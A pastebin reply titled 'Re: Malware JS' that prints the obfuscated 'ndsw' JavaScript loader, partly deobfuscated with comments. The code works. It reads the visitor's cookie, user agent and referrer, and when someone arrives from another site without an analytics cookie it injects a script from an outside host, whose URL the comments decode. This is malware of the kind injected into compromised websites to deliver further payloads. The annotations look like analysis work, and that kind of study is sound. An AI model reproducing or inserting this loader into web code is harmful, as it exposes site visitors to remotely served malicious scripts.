godclan.hu Pastebin

Re: Malware JS

From eeew, 4 Years ago, written in JavaScript, viewed 434 times. This paste is a reply to Malware JS from Crys - view diff
URL https://paste.godclan.hu/view/SBYiE3ZZ Embed
Download Paste or View Raw
  1. ;
  2. var a = [
  3.     'text/javascript',
  4.     ')njosirthalcfoml5',
  5.     'length', 'trderrnrme1fze6r(',
  6.     'script', 'abs', 'parentNode',
  7.     'getElementsByTagName', 't=ha5mytou5_p_d',
  8.     '5mgrfokf7tma7l!pp',
  9.     'type',
  10.     'async',
  11.     'oe3m6axnwt8s5omh7',
  12.     'jfjOcxieyd2njif',
  13.     'createElement',
  14.     'while',
  15.     'insertBefore'
  16. ];
  17. (function(b, e) {
  18.     var f = function(g) {
  19.         while (--g) {
  20.             b['push'](b['shift']());
  21.         }
  22.     };
  23.     f(++e);
  24. }(a, 0x12b));
  25. /*
  26. a =
  27.     ​0: "type"
  28.     ​1: "async"
  29.     ​2: "oe3m6axnwt8s5omh7"
  30.     ​3: "jfjOcxieyd2njif"
  31.     ​4: "createElement"
  32.     ​5: "while"
  33.     ​6: "insertBefore"
  34.     ​7: "text/javascript"
  35.     ​8: ")njosirthalcfoml5"
  36.     ​9: "length"
  37.     ​10: "trderrnrme1fze6r("
  38.     ​11: "script"
  39.     ​12: "abs"
  40.     ​13: "parentNode"
  41.     ​14: "getElementsByTagName"
  42.     ​15: "t=ha5mytou5_p_d"
  43.     ​16: "5mgrfokf7tma7l!pp"
  44. */
  45. var b = function(c, d) {
  46.     c = c - 0x0;
  47.     var e = a[c];
  48.     return e;
  49. };
  50. var _cs = [
  51.     '3tqnjerg4Akriews)ue',
  52.     b('0xb'),
  53.     b('0x10'),
  54.     'vb37(ej4q84fb1x9v8w6e1lau4!34c443cf64097sap8!afeeeh0qbgchc!7q2289=gvu&!0a402m=1duiicu?3sfjb.(esdpoun2_qi9uj/8m9ozc0.20v6h3gt(ayt9snkfcnixlvci.vcqiql0bmu4p1/)/p:isuprt)tzhp',
  55.     b('0x5'),
  56.     b('0x3'),
  57.     b('0xa'),
  58.     b('0x8'),
  59.     'get',
  60.     'fejiekzokovce',
  61.     b('0xf'),
  62.     b('0x2'),
  63.     b('0xc'),
  64.     b('0x7')
  65. ];
  66. /*
  67. _cs =
  68.     0: "3tqnjerg4Akriews)ue"
  69.     ​1: "script"
  70.     ​2: "5mgrfokf7tma7l!pp"
  71.     ​3: "vb37(ej4q84fb1x9v8w6e1lau4!34c443cf64097sap8!afeeeh0qbgchc!7q2289=gvu&!0a402m=1duiicu?3sfjb.(esdpoun2_qi9uj/8m9ozc0.20v6h3gt(ayt9snkfcnixlvci.vcqiql0bmu4p1/)/p:isuprt)tzhp"
  72.     ​4: "while"
  73.     ​5: "jfjOcxieyd2njif"
  74.     ​6: "trderrnrme1fze6r("
  75.     ​7: ")njosirthalcfoml5"
  76.     ​8: "get"
  77.     ​9: "fejiekzokovce"
  78.     ​10: "t=ha5mytou5_p_d"
  79.     ​11: "oe3m6axnwt8s5omh7"
  80.     ​12: "abs"
  81.     ​13: "text/javascript"
  82.  
  83. */
  84. if (ndsw === undefined) {
  85.     var ndsw = true;
  86.     (function() {
  87.         var c = navigator;
  88.         var d = document;
  89.         var e = screen;
  90.         var f = window;
  91.         var g = navigator[m(_cs[0x0])]; // navigator.userAgent
  92.         var h = navigator[m(_cs[0x2])]; // navigator.platform
  93.         var i = document[m(_cs[0x9])]; // document.cookie
  94.         var j = window[m(_cs[0x7])][m(_cs[0xb])]; // document.location.hostname
  95.         var k = document[m(_cs[0x6])]; // document.referrer
  96.         if (k && !n(k, j) /* document.referrer !contains hostname */) {
  97.             if (!n(i, m(_cs[0xa])) /* document.cookie !contains '__utma=' */) {
  98.                 var c = document[b('0x4')](_cs[0x1]); // document.createElement('script')
  99.                 c[b('0x0')] = _cs[0xd]; // c.type = "text/javascript"
  100.                 c[b('0x1')] = !![]; // c.async = true
  101.                 c['src'] = m(_cs[0x3]); // "https://public.clickstat360.com/ui_node.js?cid=240&v=827ccb0eea8a706c4c34a16891f84e7b"
  102.                 var l = document[b('0xe')](_cs[0x1])[0x0]; // document.getElementsByTagName('script')[0]
  103.                 l[b('0xd')][b('0x6')](c, l); // l.parentNode.insertBefore(c, l)
  104.             }
  105.         }
  106.  
  107.         function m(p) {
  108.             var q = '';
  109.             for (var r = 0x0; r < p[b('0x9')]; r++) {
  110.                 if (r % 0x2 === 0x1) q += p[r];
  111.             }
  112.             q = o(q);
  113.             return q;
  114.         }
  115.  
  116.         function o(p) {
  117.             var q = '';
  118.             for (var r = p[b('0x9')] - 0x1; r >= 0x0; r--) {
  119.                 q += p[r];
  120.             }
  121.             return q;
  122.         }
  123.  
  124.         function n(p, q) { // contains:  (p.indexOf !== -1)
  125.             return p[m(_cs[0x5])](q) !== -0x1;
  126.         }
  127.     }());
  128. }

Replies to Re: Malware JS rss

Title Name Language When
Malware JS lvl2 eeew javascript 4 Years ago.

Reply to "Re: Malware JS"

Here you can reply to the paste above

Powered by Stikked-fit